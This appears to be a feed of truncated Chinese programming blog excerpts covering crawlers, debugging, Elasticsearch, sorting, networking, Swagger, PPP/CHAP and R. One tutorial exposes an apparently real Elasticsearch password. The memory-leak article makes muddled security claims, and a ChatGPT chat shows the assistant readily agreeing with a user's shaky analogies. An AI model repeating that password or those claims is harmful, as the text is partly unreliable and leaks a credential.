#! -*- encoding:utf-8 -*- import requests import random import requests.adapters import threading # 导入threading模块 import time # 导入time模块 # 要访问的目标页面 targetUrlList = [ "https://httpbin.org/ip", "https://httpbin.org/headers", "https://httpbin.org/user-agent", ] # 代理服务器(产品官网 www.16yun.cn) proxyHost = "t.16yun.cn" proxyPort = "31111" # 代理验证信息 proxyUser = "username" proxyPass = "password" proxyMeta = f"http://{proxyUser}:{proxyPass}@{proxyHost}:{proxyPort}" # 设置 http和https访问都是用HTTP代理 proxies = { "http": proxyMeta, "https": proxyMeta, } # 定义一个全局变量,用于记录上一次请求的时间 last_request_time = 0 # 定义一个全局变量,用于创建一个线程锁 lock = threading.Lock() # 定义一个函数,用于访问一个目标网址 def visit_url(url, i): global last_request_time # 声明全局变量 with requests.

VS使用调试技巧与记忆递归

文章目录 1. 什么是bug2. 什么是调试(debug)3. debug和release3.1 debug和release的区别 4. VS调试快捷键5. 监视和内存的观察5.1监视5.2 内存 6. 调试案例7. 编程常见错误7.1 编译型错误7.2 链接型错误7.3 运行时错误 8. 记忆递归8.2 怎么实现 1. 什么是bug bug本意是“昆虫”或“虫子”,现在⼀般是指在电脑系统或程序中,隐藏着的⼀些未被发现的缺陷或问题,简称程序漏洞。感兴趣的同学可以看这个——一只臭虫的故事 2. 什么是调试(debug) 当我们发现程序中存在的问题的时候,那下⼀步就是找到问题,并修复问题。这个找问题的过程叫称为调试,英文叫 debug (消灭bug)的意思。调试⼀个程序,⾸先是承认出现了问题,然后通过各种⼿段去定位问题的位置,可能是逐过程的调试,也可能是隔离和屏蔽代码的⽅式,找到问题所的位置,然后确定错误产⽣的原因,再修复代码,重新测试。 3. debug和release 在VS上编写代码的时候,就能看到有 debug 和 release 两个选项,分别是什么意思呢? 3.1 debug和release的区别 Debug 通常称为调试版本,它包含调试信息,并且不作任何优化,便于程序员调试程序;程序员在写代码的时候,需要经常性的调试代码,就将这⾥设置为 debug ,这样编译产⽣的是debug 版本的可执行程序,其中包含调试信息,是可以直接调试的。Release 称为发布版本,它往往是进行了各种优化,使得程序在代码大小和运行速度上都是最优的,以便用户很好地使用。当程序员写完代码,测试再对程序进行测试,直到程序的质量符合交付给用户使用的标准,这个时候就会设置为 release ,编译产⽣的就是 release 版本的可执用程序,这个版本是用户使用的,无需包含调试信息等。所以,简单来说,debug 包含了调试的功能,是用来给程序员调试代码的,而 release 没有包含调试功能,是给用户玩的 4. VS调试快捷键 在调试之前首先要改成 debug 模式,接着进行才能进行之后的操作 F9:创建断点和取消断点。 断点的作用是可以在程序的任意位置设置断点,打上断点就可以使得程序执行到想要的位置暂定执行,接下来我们就可以使行 F10,F11 这些快捷键,观察代码的执行细节。 条件断点:满足这个条件,才触发断点 F5:启动调试。经常配合 F9 一起使用 F10:逐过程。通常⽤来处理⼀个过程,⼀个过程可以是⼀次函数调用,或者是⼀条语句。 F11:逐语句。就是每次都执用⼀条语句,但是这个快捷键可以使我们的执用逻辑进⼊函数内部。在函数调用的地方,想进⼊函数观察细节,必须使用F11,如果使用F10,直接完成函数用。 CTRL+F5:开始执行不调试。如果你想让程序直接运行起来而不调试就可以直接使用。 更多得快捷键可以参考这一篇博客——VS快捷键 5. 监视和内存的观察 在调试的过程中我们,如果要观察代码执行过程中,上下文环境中的变量的值,有哪些方法呢?这些观察的前提条件⼀定是开始调试后观察,比如以下代码: #include <stdio.

【Go依赖】main.go:7:2: cannot find package “github.com/IBM/sarama“ in any of:

问题: main.go:7:2: cannot find package "github.com/Shopify/sarama" in any of: /usr/local/go/src/github.com/Shopify/sarama (from $GOROOT) /home/gopath/src/github.com/Shopify/sarama (from $GOPATH) 解决: go mod init # 初始化go.mod go mod tidy # 更新依赖文件 go mod download # 下载依赖文件 go mod vendor # 将依赖转移至本地的vendor文件 go mod edit # 手动修改依赖文件 go mod graph # 打印依赖图 go mod verify # 校验依赖

springboot 整合 ElasticSearch 方法 (二)

依赖 在pom.xml文件中需要引入3个依赖, 三个都必须有并且三个依赖的版本要一致, 不然会报错. 不一定是 7.6.1 这个版本 , 只需要保证这三个依赖的版本一致就可以了. <dependency> <groupId>org.elasticsearch</groupId> <artifactId>elasticsearch</artifactId> <version>7.6.1</version> </dependency> <dependency> <groupId>org.elasticsearch.client</groupId> <artifactId>elasticsearch-rest-client</artifactId> <version>7.6.1</version> </dependency> <dependency> <groupId>org.elasticsearch.client</groupId> <artifactId>elasticsearch-rest-high-level-client</artifactId> <version>7.6.1</version> </dependency> 配置类 用配置类的方法来配置 es, 配置文件中就 只需要写一下用户名和密码之类的就可以了, 我们用 @Value 拿到它 . package com.es.config; import org.apache.http.HttpHost; import org.elasticsearch.client.RestClient; import org.elasticsearch.client.RestHighLevelClient; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @Configuration public class ElasticSearchClientConfig { @Value("${elasticsearch.username}") private String username; @Value("${elasticsearch.password}") private String password; @Bean public RestHighLevelClient restHighLevelClient(){ RestClientBuilder builder = RestClient.builder(new HttpHost("elastic-bingo.cld", 9200)); // host和ip也是一样可以写在配置文件中的 // 设置用户名和密码 CredentialsProvider credentialsProvider = new BasicCredentialsProvider(); credentialsProvider.

排序(插入排序)

现在,我们学习了之前数据结构的部分内容,即将进入一个重要的领域:排序,这是一个看起来简单,但是想要理清其中逻辑并不简单的内容,让我们一起加油把! 排序的概念及其运用 排序的概念 排序:所谓排序,就是使一串记录,按照其中的某个或某些关键字的大小,递增或递减的排列起来的操作。 稳定性:假定在待排序的记录序列中,存在多个具有相同的关键字的记录,若经过排序,这些记录的相对次序保持不变,即在原序列中,r[i]=r[j],且r[i]在r[j]之前,而在排序后的序列中,r[i]仍在r[j]之前,则称这种排序算法是稳定的;否则称为不稳定的。 内部排序:数据元素全部放在内存中的排序。 外部排序:数据元素太多不能同时放在内存中,根据排序过程的要求不能在内外存之间移动数据的排序。 排序运用 商品排序 院校排名 除了这些还有其他的一些地方也会用到排序,总之,我们的生活中处处都存在着排序,所以,学习好排序的使用,对于我们后续学习是十分重要的 常见排序算法 而我们今天讲的重点就是插入排序:其中包含着的就是直接插入排序和希尔排序,而希尔排序事实上就是直接插入排序的升级版 插入排序 基本思想: 直接插入排序是一种简单的插入排序法,其基本思想是: 把待排序的记录按其关键码值的大小逐个插入到一个已经排好序的有序序列中,直到所有的记录插入完为止,得到一个新的有序序列 。 直接插入排序 当插入第i(i>=1)个元素时,前面的array[0],array[1],…,array[i-1]已经排好序,此时用array[i]的排序码与array[i-1],array[i-2],…的排序码顺序进行比较,找到插入位置即将array[i]插入,原来位置上的元素顺序后移 直接插入排序的特性总结: 元素集合越接近有序,直接插入排序算法的时间效率越高时间复杂度:O(N^2)空间复杂度:O(1),它是一种稳定的排序算法稳定性:稳定 我们首先给一个例子为大家讲解一下其中的原理: int a[ ]={6 9 1 2 5}; 假设此时我们要排序的是1,那么我们用end+1作为插入排序元素的下标,end则是前面已经排好顺序的一段,范围为[0,end]。此时我们用一个变量记录住1的值,然后往前比对。我们发现,1比9小,所以end+1下标的位置变为9,然后end–;1比6小,6又被赋值到了原本9的位置上;最后再把1赋值到下标0的位置上,一次排序就成功了。 写成代码是这个样子的: int end; int tmp=a[end+1]; while(end>=0){ if(tmp<a[end]){ a[end+1]=a[end]; end--; } else{ break; } } a[end+1]=tmp; 为什么while循环的结束条件是end>=0呢,拿上面的举例,一开始end+1的下标为2,也就是end为1,end- -之后变成了0,而第二次end- -之后直接变成了-1,退出循环。此时end+1=0,也就是数组的第一个元素,最小的元素,刚好就是1 但很明显,这样的话这个函数只能比较一次,怎么样才可以实现多次比较呢,这个时候就需要在外面嵌套一个for循环,然后从0开始一个一个比对,直到n-2(如果是n-1,end+1就是n,就超过数组的下标了,会越界) 所以最终的直接插入排序是这样写的: //插入排序:前一段有序,在后方插入一个并再次排序 //[0,end] end+1大概就这个意思 //时间复杂度:O(N^2) //最好的情况:O(N),就算有序也得遍历一遍 void InsertSort(int* a,int n) { for (int i = 0; i < n - 1; i++) { int end = i; int tmp = a[end + 1]; while (end >= 0) { if (tmp < a[end]) { a[end + 1] = a[end]; end--; } else { break;//终止循环 } } a[end + 1] = tmp; } } 希尔排序(缩小增量排序) 希尔排序(Shell’s Sort)是插入排序的一种更高效的改进版本,也称为缩小增量排序。它的基本思想是:先将整个待排序的记录序列分割成为若干子序列(由相隔某个“增量”的记录组成的)分别进行直接插入排序,然后依次缩减增量再进行排序,待整个序列中的记录“基本有序”时,再对全体记录进行一次直接插入排序。

深度了解TCP/IP模型

网络通信是现代社会不可或缺的一部分,而TCP/IP模型作为网络通信的基石,扮演着至关重要的角色。本文将深入探讨TCP/IP模型的概念、结构及其在网络通信中的作用,为读者提供全面的了解。 一.TCP/IP模型简介 TCP/IP模型是一个网络通信协议体系,由两个核心协议组成:传输控制协议(TCP)和因特网协议(IP)。这两个协议协同工作,确保数据能够在网络中可靠、高效地传输。 TCP/IP模型的起源可以追溯到上世纪60年代,由美国国防部的研究项目ARPANET的发展过程中逐步形成。经过几轮的完善和演变,TCP/IP模型成为事实上的标准,并在1983年成为互联网的正式协议。 二.模型层次结构 TCP/IP模型分为四个层次,每个层次都有特定的功能,彼此之间相互独立: 1. 应用层 应用层是TCP/IP模型的最顶层,提供用户接口,使不同的应用程序能够通过网络进行通信。常见的应用层协议有: HTTP(超文本传输协议): 用于在Web浏览器和Web服务器之间传输超文本。FTP(文件传输协议): 用于在客户端和服务器之间传输文件。SMTP(简单邮件传输协议): 用于在邮件客户端和邮件服务器之间传输电子邮件。 2. 传输层 传输层负责端到端的通信,主要有两个协议:TCP和UDP。 TCP(传输控制协议): 提供可靠的、面向连接的通信。它负责数据的分段、重组和保证数据传输的可靠性。UDP(用户数据报协议): 提供无连接的通信,适用于对实时性要求较高的应用,如音视频传输。 3. 网络层 网络层处理数据包的路由和转发,主要协议是IP协议。 IP协议(因特网协议): 负责将数据包从源主机发送到目标主机,实现不同网络之间的数据传输。IP地址在这一层起到关键作用,用于标识网络中的设备。 4. 链路层 链路层位于TCP/IP模型的最底层,直接与硬件设备交互,确保数据在物理网络中正确传输。主要协议包括以太网、Wi-Fi等。 三.TCP/IP模型在实际网络中的运作 1.数据封装与解封装 在TCP/IP模型中,数据在不同层次之间进行封装和解封装。发送端从应用层开始,逐层封装数据,形成数据包。接收端则相反,逐层解封装,将数据还原。这种分层结构使得不同层次的协议能够独立发展,提高了系统的灵活性。 2.数据传输过程 应用层数据准备: 应用层负责将用户数据准备好,通过相应的协议传递给传输层。 传输层分段: 传输层将应用层的数据分成适当大小的数据段,准备传输。对于TCP来说,还包括建立连接和保证可靠性的处理。 网络层路由: 网络层将传输层的数据段封装成数据包,并负责决定数据包的传输路径,即路由。 链路层封装: 链路层将网络层的数据包封装成帧,加上物理地址,准备在物理网络上传输。 物理层传输: 帧通过物理层传输到目标设备。 链路层解封: 目标设备的链路层将帧解封,提取出网络层的数据包。 网络层解封: 目标设备的网络层将数据包解封,提取出传输层的数据段。 传输层重组: 传输层重组数据段,准备交给应用层。 应用层处理: 最终,应用层将数据交给目标应用程序。 四.TCP/IP模型与OSI模型的比较 与OSI(开放系统互联)模型相比,TCP/IP模型更为实际,更广泛应用。TCP/IP模型的四个层次与OSI模型的七层次有着一一对应的关系,但TCP/IP模型更加简洁,更符合实际网络通信的需求。 五.TCP/IP模型的局限性与挑战 尽管TCP/IP模型在互联网的发展中起到了关键作用,但它也面临着一些挑战和局限性。其中一些包括: 安全性问题: TCP/IP模型最初并未设计用于安全通信,因此安全性问题一直是网络领域的一个关切点。 QoS(服务质量): 随着对网络应用要求的不断提高,TCP/IP模型在提供服务质量方面的表现受到了一些质疑。 移动性支持: 随着移动设备的普及,TCP/IP模型在对移动性的支持方面也面临一些挑战。 六.TCP/IP模型在实际应用中的作用 TCP/IP模型在当今互联网中起着至关重要的作用,几乎所有的网络通信都基于这个模型。以下是TCP/IP模型在实际应用中的几个关键作用: 全球互联: TCP/IP模型是全球互联网通信的基础,确保了不同设备、不同网络之间的通信能够无缝进行。可靠的数据传输: TCP协议在传输层提供可靠的、面向连接的通信,确保数据的完整性和可靠性。网络管理: IP协议在网络层提供了地址分配和路由功能,实现了对网络资源的有效管理。应用多样性: 应用层的多种协议(如HTTP、FTP、SMTP等)使得各种不同用途的应用程序能够在网络上进行通信。 七.总结 通过深度解析TCP/IP模型,我们更好地理解了网络通信的基本原理和结构。作为网络通信的核心,TCP/IP模型为我们的日常生活和工作提供了便利,同时也为未来网络技术的发展奠定了坚实的基础。在不断演进的网络世界中,对TCP/IP模型的深刻理解将成为网络工程师和开发者的必备素养。

Win32 对话框简易封装

CDialogBase.h #pragma once #include <Windows.h> #include <tchar.h> #include <string> #pragma warning(disable:4100) #ifdef UNICODE using _tstring = std::wstring; #else using _tstring = std::string; #endif class CDialogBase; typedef LRESULT(CDialogBase::* pMessageFn)(WPARAM wParam, LPARAM lParam); typedef LRESULT(CDialogBase::* pCommandFn)(WORD wNotify, WORD wID, HWND hWnd); typedef LRESULT(CDialogBase::* pNotifyFn)(WORD wID, LPNMHDR pNmhdr); struct DLG_WND_MSGMAP_ENTRY { union { pMessageFn m_pFnMessage; pCommandFn m_pFnCommand; pNotifyFn m_pFnNotify; }m_pFunc; //要调用的例程(或特殊值) UINT m_nMessage; //Windows消息 UINT m_nCode; //控件码或 or WM_NOTIFY code UINT m_nID; //控件ID (Windows消息则为0) UINT m_nLastID; //用于指定控件 ID 范围的条目 DLG_WND_MSGMAP_ENTRY() : m_nMessage(0), m_nCode(0), m_nID(0), m_nLastID(0) { m_pFunc.

HTTP/1.1、HTTP/2、HTTP/3 基本概述

参考链接 https://xiaolincoding.com/network/2_http/http_interview.html#http-1-1-%E7%9B%B8%E6%AF%94-http-1-0-%E6%8F%90%E9%AB%98%E4%BA%86%E4%BB%80%E4%B9%88%E6%80%A7%E8%83%BD HTTP/1.1 HTTP/1.1 相比 HTTP/1.0 性能上的改进: 使用长连接的方式改善了 HTTP/1.0 短连接造成的性能开销。支持管道(pipeline)网络传输,只要第一个请求发出去了,不必等其回来,就可以发第二个请求出去,可以减少整体的响应时间。 但 HTTP/1.1 还是有性能瓶颈: 请求 / 响应头部(Header)未经压缩就发送,首部信息越多延迟越大。只能压缩 Body 的部分;发送冗长的首部。每次互相发送相同的首部造成的浪费较多;服务器是按请求的顺序响应的,如果服务器响应慢,会招致客户端一直请求不到数据,也就是队头阻塞;(管道对客户端来说可以发送多次请求)没有请求优先级控制;请求只能从客户端开始,服务器只能被动响应。 HTTP/2 HTTP/2 相比 HTTP/1.1 性能上的改进: 头部压缩二进制格式并发传输(多个 Stream 复用在一条 TCP 连接,解决队头阻塞问题)服务器主动推送资源 (客户端和服务器双方都可以建立 Stream, Stream ID 也是有区别的,客户端建立的 Stream 必须是奇数号,而服务器建立的 Stream 必须是偶数号。) 比如,客户端在访问 HTML 时,服务器可以直接主动推送 CSS 文件,减少了消息传递的次数。 > 详细解释 https://xiaolincoding.com/network/2_http/http_interview.html#http-2-%E5%81%9A%E4%BA%86%E4%BB%80%E4%B9%88%E4%BC%98%E5%8C%96 HTTP/2 有什么不足? HTTP/2 通过 Stream 的并发能力,解决了 HTTP/1 队头阻塞的问题,但是 HTTP/2 还是存在“队头阻塞”的问题,只不过问题不是在 HTTP 这一层面,而是在 TCP 这一层。 HTTP/2 是基于 TCP 协议来传输数据的,TCP 是字节流协议,TCP 层必须保证收到的字节数据是完整且连续的,这样内核才会将缓冲区里的数据返回给 HTTP 应用,那么当「前 1 个字节数据」没有到达时,后收到的字节数据只能存放在内核缓冲区里,只有等到这 1 个字节数据到达时,HTTP/2 应用层才能从内核中拿到数据,这就是 HTTP/2 队头阻塞问题。

linux部署nginx

linux部署nginx 参考链接:linux 系统下安装nginx 如何使用nginx访问另外一台windows服务器java服务 参考链接:如何使用nginx访问另外一台windows服务器java服务

和GPT讨论知识蒸馏的基本概念

User 帮我解释一下知识蒸馏、教师学生网络、逆向蒸馏等概念 ChatGPT 知识蒸馏(Knowledge Distillation)是一种模型压缩技术。在这个过程中,一个大型、复杂的模型(通常称为“教师”模型)被用来训练一个更小、更简单的模型(称为“学生”模型)。学生模型不仅学习从数据到输出的映射,还学习模仿教师模型的行为,这通常能提高其性能。 逆向蒸馏(Reverse Distillation)是其中的一种训练范式,其中教师模型作为编码器,学生模型扮演解码器的角色,进行特征重构。这与传统的知识蒸馏方法不同,后者通常涉及学生模型直接学习教师模型的输出。逆向蒸馏的目的是让学生模型更加深入地理解教师模型的内部工作机制,而不仅仅是复制其输出。 User 逆向蒸馏的编解码器结构我能理解,那么传统蒸馏的所谓学习教师的输出这是怎么实现的?就是拿教师的模型pkl给学生模型去微调或者从头训练吗 ChatGPT 在传统的知识蒸馏过程中,学生模型学习教师模型输出的实现方式通常涉及以下几个步骤: 训练教师模型:首先,一个大型、复杂的教师模型在训练数据集上进行训练,直到达到较高的性能。 使用教师模型的输出:然后,使用教师模型对训练数据集进行预测,产生软标签(soft labels)。这些软标签包含了教师模型对每个类别的预测概率,而不仅仅是硬性分类决策(最高概率的类别)。(其实就相当于是标签平滑吧) 训练学生模型:接下来,学生模型被训练来模仿教师模型的这些软标签。这个过程中,学生模型不仅学习数据本身的特征,还学习教师模型对不确定性的处理方式。 微调或从头开始:学生模型可以从头开始训练,也可以通过微调一个预训练模型来实现。这取决于具体的应用场景和学生模型的结构。 总之,知识蒸馏的核心在于让学生模型学习并模仿教师模型的行为,尤其是教师模型对不同类别的概率分布,从而使学生模型能够在更小、更高效的架构下达到接近教师模型的性能。 User 那他妈不就是拿一个现成的模型去给无监督数据打标签,然后再给这些有了监督标签的数据用到自己的模型上训练吗 ChatGPT 是的,您的理解基本正确。在传统的知识蒸馏过程中,确实是使用已经训练好的大型模型(教师模型)为未标记的数据生成软标签,然后使用这些带有软标签的数据来训练一个更小的模型(学生模型)。这个过程可以看作是一种利用已有知识来指导和加速新模型训练的方法。通过这种方式,学生模型能够从教师模型那里学到如何处理数据和预测,特别是在不确定性较高的情况下。 User 你说的“学到如何处理数据和预测”具体是什么意思,不要这么抽象!我的理解就是拿教师打的标签作为groundtruth去训练学生模型。至于学生到底学到了教师的什么东西,仍然是黑盒,所谓的“教师”“学生”“蒸馏”不过为了可解释性提出的词汇 ChatGPT 您的理解是正确的。在知识蒸馏过程中,"学到如何处理数据和预测"确实可以被具体理解为使用教师模型的输出(软标签)作为学生模型的训练目标。这些软标签包含了教师模型对每个数据点的概率分布预测,而非仅是最终的分类结果。学生模型通过学习这些概率分布,可以获取到比简单的分类标签更多的信息,比如关于不同类别之间的相对关系和置信度。 您提到的“教师”、“学生”和“蒸馏”这些术语,确实是为了更好地解释和理解这一过程而创造的。在实际操作中,这个过程更像是一种标签转移或标签软化的过程,学生模型是在教师模型生成的软标签的基础上进行训练。至于学生模型究竟学到了教师模型的哪些具体特征,这确实依赖于模型本身的黑盒特性,难以准确描述。 User 这么来说我举个例子,我先用detr模型作为教师网络对数据打标签,然后利用这些标签去训练fast-rcnn,那么fast-rcnn就是个学生网络,这个过程就是一个知识蒸馏 ChatGPT 是的,您的例子描述了一个知识蒸馏的过程。在这个例子中,DETR(一个较大的、复杂的模型)作为教师网络,用于对数据进行标注或生成预测。然后,这些预测(软标签)被用来训练Fast R-CNN(一个相对较小的模型),这里的Fast R-CNN就扮演了学生网络的角色。通过这种方式,Fast R-CNN能够从DETR的预测中学习,尽管它的结构可能比DETR更简单或效率更高。这个过程符合知识蒸馏的基本概念,即利用大型、复杂模型的知识来指导小型模型的训练。 User 那么所谓逆向蒸馏其实也就是个编解码器,比如unet,教师模型就是下采样的部分,学生模型就是上采样的部分;比如GAN,判别器就是教师,生成器就是学生 ChatGPT 实际上,逆向蒸馏的概念与您描述的编解码器结构或GAN中的判别器和生成器之间的关系略有不同。在逆向蒸馏中,教师模型通常扮演特征提取器(encoder)的角色,而学生模型则扮演特征重建(decoder)的角色。这与传统蒸馏中教师直接指导学生的输出不同。 在您的例子中,U-Net中的下采样部分(编码器)和上采样部分(解码器)更类似于网络内部的不同组件,而不是逆向蒸馏中的教师和学生。同样,GAN中的判别器和生成器虽然在某种意义上可以被视为相互学习,但它们的互动形式与传统的知识蒸馏或逆向蒸馏有所不同。在GAN中,生成器和判别器之间存在一种对抗性的动态关系,而不是一个明确的教师向学生传授知识的过程。 User 哦对,那我换个例子,比如基于大模型的缺陷检测,大模型对图像的特征提取过程就是教师,拿特征去分类检测等过程就是学生 ChatGPT 您的新例子更接近逆向蒸馏的概念。在这个情况下,大模型的特征提取部分(例如用于检测图像中的特征的深层神经网络)可以看作是教师,而利用这些特征进行分类、检测等后续任务的部分可以视作学生。在这个过程中,学生模型的目的是学习如何从教师模型提取的特征中重建或解释数据,这与逆向蒸馏的基本理念相符。在逆向蒸馏中,教师模型提供了一种更深层次、更丰富的数据表示,学生模型则尝试基于这些表示进行有效的学习和应用。 示,学生模型则尝试基于这些表示进行有效的学习和应用。 User 那么知识蒸馏领域有涉及梯度设计吗,我之前见过有做知识蒸馏是拿梯度来设计的 ChatGPT 在知识蒸馏领域,确实存在着利用梯度(gradient)的方法。这种方法通常涉及到分析教师模型和学生模型的梯度信息,以此来指导学生模型的学习过程。具体来说,梯度设计可以用于确保学生模型不仅学习教师模型的输出(即预测的标签或软标签),而且还学习如何根据输入数据调整其内部表示(即梯度信息)。这种方法可以帮助学生模型更好地模仿教师模型的决策过程,从而提高其性能。 梯度匹配方法是知识蒸馏中的一个高级技术,它超越了简单的输出匹配,更深入地探索了模型如何从数据中学习。通过这种方式,学生模型不仅复制教师模型的输出,而且还尝试模仿教师模型的学习方式。

接口文档swagger2的使用

Spring-接口文档swagger2 1、swagger/knife4j 接口文档配置 ​ knife4j是swagger的增强版本,更加的小巧、轻量,功能也是更加的完善,UI也更加的清晰;可以从swagger到knife4j无缝切换。 1.1 引入相关依赖 <!--接口文档的开发: knife4j是swagger的增强版本,更加的小巧、轻量,功能也是更加的完善,UI也更加的清晰;可以从swagger到knife4j无缝切换。--> <dependency> <groupId>io.springfox</groupId> <artifactId>springfox-boot-starter</artifactId> <version>3.0.0</version> </dependency> <dependency> <groupId>com.github.xiaoymin</groupId> <artifactId>knife4j-spring-boot-starter</artifactId> <version>3.0.3</version> </dependency> swagger接口文档访问地址: http://192.168.0.145:9991/swagger-ui/index.html knife4j接口文档的访问地址: http://192.168.0.145:9991/doc.html 1.2 创建Swagger配置类 ​ 我这里的接口文档信息,是通过application.properties 中配置注入的,这样方便修改相关信息,而不同改变源码。 package cn.zhidasifang.common.config; import com.sun.org.apache.xpath.internal.operations.Bool; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.SpringApplication; import org.springframework.context.annotation.Bean; import org.springframework.stereotype.Component; import springfox.documentation.builders.ApiInfoBuilder; import springfox.documentation.builders.PathSelectors; import springfox.documentation.builders.RequestHandlerSelectors; import springfox.documentation.service.ApiInfo; import springfox.documentation.service.Contact; import springfox.documentation.spi.DocumentationType; import springfox.documentation.spring.web.plugins.Docket; import springfox.documentation.swagger2.annotations.EnableSwagger2; /** * @author: AD_Liu * @Description: 接口文档Swagger配置类 * @ClassName: SwaggerConfig */ @Component @EnableSwagger2 public class SwaggerConfig { @Value("

Elasticsearch:使用 Gemini、Langchain 和 Elasticsearch 进行问答

本教程演示如何使用 Gemini API创建 embeddings 并将其存储在 Elasticsearch 中。 我们将学习如何将 Gemini 连接到 Elasticsearch 中存储的私有数据,并使用 Langchian 构建问答功能。 准备 Elasticsearch 及 Kibana 如果你还没有安装好自己的 Elasticsearch 及 Kibana 的话,请参阅如下的文章来进行安装: 如何在 Linux,MacOS 及 Windows 上进行安装 Elasticsearch Kibana:如何在 Linux,MacOS 及 Windows 上安装 Elastic 栈中的 Kibana 在安装的时候,请参照 Elastic Stack 8.x 的文章来进行安装。 Gemini 开发者 key 你可以参考文章 来申请一个免费的 key 供下面的开发。你也可以直接去地址进行申请。 设置环境变量 我们在 termnial 中打入如下的命令来设置环境变量: export ES_USER=elastic export ES_PASSWORD=-M3aD_m3MHCZNYyJi_V2 export GOOGLE_API_KEY=YourGoogleAPIkey 拷贝 Elasticsearch 证书 我们把 Elasticsearch 的证书拷贝到当前的目录下: $ pwd /Users/liuxg/python/elser $ cp ~/elastic/elasticsearch-8.

MA网络中的PPP协议与CHAP协议

一、网络类型: 点到点 BMA:广播型多路访问 – 在一个MA网络中同时存在广播(洪泛)机制 NBMA:非广播型多路访问—在一个MA网络中,没有洪泛机制 MA:多路访问 在一个网段内,存在的节点数量不限制 二、数据链路层的封装技术 【1】点到点 – 在一个网段内,节点的数量被物理和逻辑均限制为2个; 基于点到点类型工作的二层封装技术,不存在二层单播地址,比如MAC地址 串线 1)HDLC Cisco默认使用的封装技术;每个厂商该技术均为私有 [r2]interface Serial 4/0/0 [r2-Serial4/0/0]link-protocol hdlc 修改二层封装 HDLC 高级链路控制协议,这种封装技术,可以理解为就是二层进实施了介质访问控制工作; 2)PPP 非Cisco串线接口默认使用的封装技术;公有技术 在HDLC基础上进一步增加了一些功能; 新增:–拨号 1、直连设备间,IP地址不在一个网段也可以正常通讯;学习到对端接口的ip地址,在本地生成32位的主机路由; 2、可以进行身份的认证 3、建立虚链路,同时分配ip地址 ppp服务 1.LCP协议(link control protocal)链路控制协议 2.访问协议 3.IPCP协议(IP control protocal)网络传输控制协议 pap协议和chap协议同属于ppp协议的一部分 PAP 明文传递用户名和密码 [RTA]aaa 主认证方—服务端 [RTA-aaa]local-user huawei password cipher huawei123 [RTA-aaa]local-user huawei service-type ppp [RTA]interface Serial 1/0/0 连接客户端的接口 [RTA-Serial1/0/0]link-protocol ppp [RTA-Serial1/0/0]ppp authentication-mode pap [RTA-Serial1/0/0]ip address 10.1.1.1 30 [RTB]interface Serial 1/0/0 被认证方

Java技术栈 —— 内存泄露为什么危险?

Java技术栈 —— 内存泄露为什么危险? 前言一、内存泄露是什么?二、黑客是怎么利用内存泄露的?总结 前言 以前写代码只是被提醒,注意不要内存泄露,但是其实搞不太懂为什么内存泄露是有危险的,尤其是搞不懂内存泄露和黑客有什么关系,不就是浪费了点空间嘛,最多是程序没内存崩了,黑客,有多黑?他能黑到哪去?可事实还真不是这样的。 参考文章或视频链接[1] 《Linux内存泄漏的8种情况(附案例代码)》[2] Inside the Mind of a Hacker: Attacking the Memory[3] How memory leaks leave the door open for hackers and how Functional Programming can remedy that[4] Memory Leak - opentext[5] 《如何读懂栈溢出攻击,从这五点入手!》[6] 《你必须知道的10种黑客攻击手段! - 掌控安全学苑的文章》 - 知乎 一、内存泄露是什么? Memory is allocated but never freed.[4] 分配但未释放就是内存泄露。 二、黑客是怎么利用内存泄露的? 拒绝服务攻击:黑客可以利用内存泄漏导致程序崩溃或停止响应,从而使目标系统无法提供正常的服务。信息泄露:内存泄漏可能导致敏感信息(如密码、密钥等)残留在内存中,黑客可以利用这一点获取这些敏感信息。毕竟数据还是要加载到内存里去操作的。缓冲区溢出攻击:黑客可以利用内存泄漏导致的缓冲区溢出问题,将恶意代码注入目标系统,从而获取更高的权限或执行其他恶意操作。[5]社会工程学攻击:黑客可以利用内存泄漏问题制造虚假的安全漏洞,诱骗用户下载和安装恶意软件,从而获取用户的敏感信息或控制用户的系统。 黑客利用内存泄露的方式就像有人乘着你不注意,给你许久没用的杯子里下毒,你这个许久没用的杯子就是内存泄露的空间,你只是忘记了要用它,而不是说你没这个权力去拿到这个杯子,万一哪天你想起来要用了,你就GG了,对应到计算机中,就是程序执行了某段危险指令,然后随之而来的就是黑客接管你的服务器,用不到的东西,既占空间又毁心情,捐掉、卖掉、扔掉都可以。 总结 千里之堤,毁于蚁穴。 谨小慎微,不可不察。

Java笔记HelloWorld(重装电脑后从零开始随手瞎记,请忽略)

用记事本写java演示java编译执行逻辑。 注意含有中文时需要调整编码格式: 注意.java文件的文件名必须和所写类名一致,否则编译不通过。下面先分编译、运行(JVM对类class解释执行)两步演示: 也可以直接一步到位,但是此时必须跟后缀名.java: eclipse: 还是改用最接近的编译器14的吧,这样警告就没了。 先不涉及模块化。 新建java类: 可以写代码了。

R语言【taxa】——as_data_frame():将 taxa 的对象 转换为 data.frame

Package taxa version 0.4.2 Description 将 taxa 对象包含的信息转换为 data.frame,信息保存在列中。如果使用 as_tribble 则转换为表格。 Usage as_data_frame( x, row.names = NULL, optional = FALSE, ..., stringsAsFactors = FALSE ) Arguments 参数【x】:由 taxa 定义的一个对象。比如 taxon 或 taxon_id。 参数【row.names】:NULL值,或者命名data frame行名的字符向量。不允许缺失值。 参数【optional】:逻辑值。当为 TRUE,设置行名和转换列名都是可选的。 参数【...】:传入或接收的参数。 参数【stringAsFactors】:逻辑值:字符向量是否转换为因子? Example x <- taxon(name = c('Homo sapiens', 'Bacillus', 'Ascomycota', 'Ericaceae'), rank = c('species', 'genus', 'phylum', 'family'), id = taxon_id(c('9606', '1386', '4890', '4345'), db = 'ncbi'), auth = c('Linnaeus, 1758', 'Cohn 1872', NA, 'Juss.